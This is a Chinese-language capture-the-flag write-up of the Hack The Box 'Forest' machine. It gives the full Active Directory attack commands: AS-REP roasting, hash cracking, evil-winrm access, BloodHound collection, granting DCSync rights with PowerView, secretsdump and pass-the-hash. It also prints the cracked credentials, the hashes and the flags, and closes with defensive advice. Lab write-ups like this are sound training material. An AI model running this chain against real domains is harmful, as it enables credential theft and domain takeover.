[Meachines] [Easy] Forest AS-REP+TGT +WinRM +DCSync +SharpHound+BloodHound向量分析+PowerView收集+哈希传递
字数 1377 2025-08-20 18:18:40

Windows域渗透实战:从AS-REP Roasting到DCSync攻击

1. 信息收集阶段

1.1 端口扫描与识别

使用Nmap进行全端口扫描:

nmap -p- 10.10.10.161 --min-rate 1000 -sC -sV

关键发现:

  • 53/tcp: DNS服务
  • 88/tcp: Kerberos服务
  • 135/tcp: RPC端点映射器
  • 139/tcp: NetBIOS会话服务
  • 389/tcp: LDAP服务
  • 445/tcp: SMB文件共享
  • 5985/tcp: WinRM服务
  • 9389/tcp: ADWS服务

1.2 系统信息识别

通过SMB协议获取系统信息:

OS: Windows Server 2016 Standard 14393
Domain name: htb.local
Forest name: htb.local
FQDN: FOREST.htb.local

1.3 DNS枚举

查询域信息:

dig @10.10.10.161 htb.local ANY

添加主机记录到本地hosts文件:

echo '10.10.10.161 hostmaster.htb.local forest.htb.local' >> /etc/hosts

1.4 RPC枚举

使用enum4linux或rpcclient枚举域信息:

rpcclient -U "" -N 10.10.10.161

常用RPC命令:

  • enumdomusers: 枚举域用户
  • enumdomgroups: 枚举域组
  • querygroup 0x200: 查询域管理员组
  • querygroupmem 0x200: 查询域管理员组成员
  • queryuser 0x1f4: 查询特定用户信息

2. AS-REP Roasting攻击

2.1 准备用户列表

创建users.txt文件:

Administrator
andy
lucinda
mark
santi
sebastien
svc-alfresco

2.2 获取AS-REP哈希

使用Impacket的GetNPUsers.py脚本:

for user in $(cat users.txt); do 
    python /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb/${user} | grep -v Impacket; 
done

成功获取svc-alfresco用户的TGT票据:

$krb5asrep$23$svc-alfresco@HTB:673e71dfa10005b9dc741cedf9a181e8$893f9bd443ee26264858af03a654193e565992d88bd224aef2c2c57388582294d9689bc890a9930f62c0e4a3202744544e546eb8bf52873ab45292be11fef69750046fad446b955afca12199c8d4e52e2fd925f951246cfa7376ead32e24481dfe7ff91db4e219fa458b295671e655618475f78f61b644be67583cc7facf7dd5956c7877284755078676a581f80de9f0747cea221e732c4f6ad1cba14defa5eff2d603f0e9cdfd4cd4e6b129b11a08d8bd2490abb14e0ee38c9bd1ce393144e5d6ca620afddeb1b3037a890c66416128ab588dd422e64746ecdc4ee1b6d0ff2d

2.3 破解哈希

使用Hashcat破解:

hashcat -m 18200 TGT /usr/share/wordlists/rockyou.txt --force

成功获取密码:s3rvice

3. WinRM攻击

3.1 使用evil-winrm连接

evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice

3.2 获取user.txt

a4be68635be334291b5bf6410af5fb8c

4. 权限提升

4.1 使用SharpHound收集域信息

上传SharpHound.exe到目标机器:

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload /path/to/SharpHound.exe ./

执行收集:

./SharpHound.exe --collectionmethods all --domain htb.local --ldapusername svc-alfresco --ldappassword s3rvice

下载收集结果:

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> download C:\Users\svc-alfresco\appdata\local\temp\20240821032119_BloodHound.zip /tmp/20240821032119_BloodHound.zip

4.2 分析BloodHound数据

发现svc-alfresco用户可以通过添加到"Exchange Windows Permissions"组来提升权限。

4.3 添加用户到特权组

尝试直接添加:

*Evil-WinRM* PS C:\> net group "Exchange Windows Permissions" svc-alfresco /add /domain

发现会被自动移除,改为创建新用户:

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net user /add maptnh P@ssw0rd /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net group /add 'Exchange Trusted Subsystem' maptnh /domain

4.4 使用PowerView进行DCSync攻击

上传PowerView.ps1:

*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload /path/to/PowerView.ps1 ./

执行DCSync攻击:

$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\maptnh', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity maptnh -Rights DCSync

4.5 使用secretsdump获取域管理员哈希

python /usr/share/doc/python3-impacket/examples/secretsdump.py htb.local/maptnh:'P@ssw0rd'@10.10.10.161

获取到Administrator的NTLM哈希:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

5. 最终权限获取

5.1 使用哈希传递攻击

使用Impacket的wmiexec.py:

python /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161

5.2 获取root.txt

0c81c1f0304a873bd690bdf3a3d03411

6. 攻击链总结

  1. 信息收集:端口扫描、SMB枚举、RPC枚举
  2. AS-REP Roasting攻击:获取svc-alfresco用户的TGT票据并破解
  3. WinRM访问:使用破解的凭证通过WinRM访问系统
  4. 权限提升:使用SharpHound和BloodHound分析域关系
  5. DCSync攻击:通过Exchange Windows Permissions组的权限授予DCSync权限
  6. 哈希传递:使用DCSync获取的域管理员哈希进行最终权限获取

7. 防御建议

  1. 禁用不必要用户的"不需要预认证"属性
  2. 实施强密码策略,特别是对服务账户
  3. 监控敏感组的成员变更
  4. 限制Exchange Windows Permissions组的权限
  5. 启用Kerberos AES加密而非RC4
  6. 监控DCSync活动
  7. 实施LSA保护防止凭据转储
Windows域渗透实战:从AS-REP Roasting到DCSync攻击 1. 信息收集阶段 1.1 端口扫描与识别 使用Nmap进行全端口扫描: 关键发现: 53/tcp : DNS服务 88/tcp : Kerberos服务 135/tcp : RPC端点映射器 139/tcp : NetBIOS会话服务 389/tcp : LDAP服务 445/tcp : SMB文件共享 5985/tcp : WinRM服务 9389/tcp : ADWS服务 1.2 系统信息识别 通过SMB协议获取系统信息: 1.3 DNS枚举 查询域信息: 添加主机记录到本地hosts文件: 1.4 RPC枚举 使用enum4linux或rpcclient枚举域信息: 常用RPC命令: enumdomusers : 枚举域用户 enumdomgroups : 枚举域组 querygroup 0x200 : 查询域管理员组 querygroupmem 0x200 : 查询域管理员组成员 queryuser 0x1f4 : 查询特定用户信息 2. AS-REP Roasting攻击 2.1 准备用户列表 创建users.txt文件: 2.2 获取AS-REP哈希 使用Impacket的GetNPUsers.py脚本: 成功获取svc-alfresco用户的TGT票据: 2.3 破解哈希 使用Hashcat破解: 成功获取密码: s3rvice 3. WinRM攻击 3.1 使用evil-winrm连接 3.2 获取user.txt 4. 权限提升 4.1 使用SharpHound收集域信息 上传SharpHound.exe到目标机器: 执行收集: 下载收集结果: 4.2 分析BloodHound数据 发现svc-alfresco用户可以通过添加到"Exchange Windows Permissions"组来提升权限。 4.3 添加用户到特权组 尝试直接添加: 发现会被自动移除,改为创建新用户: 4.4 使用PowerView进行DCSync攻击 上传PowerView.ps1: 执行DCSync攻击: 4.5 使用secretsdump获取域管理员哈希 获取到Administrator的NTLM哈希: 5. 最终权限获取 5.1 使用哈希传递攻击 使用Impacket的wmiexec.py: 5.2 获取root.txt 6. 攻击链总结 信息收集:端口扫描、SMB枚举、RPC枚举 AS-REP Roasting攻击:获取svc-alfresco用户的TGT票据并破解 WinRM访问:使用破解的凭证通过WinRM访问系统 权限提升:使用SharpHound和BloodHound分析域关系 DCSync攻击:通过Exchange Windows Permissions组的权限授予DCSync权限 哈希传递:使用DCSync获取的域管理员哈希进行最终权限获取 7. 防御建议 禁用不必要用户的"不需要预认证"属性 实施强密码策略,特别是对服务账户 监控敏感组的成员变更 限制Exchange Windows Permissions组的权限 启用Kerberos AES加密而非RC4 监控DCSync活动 实施LSA保护防止凭据转储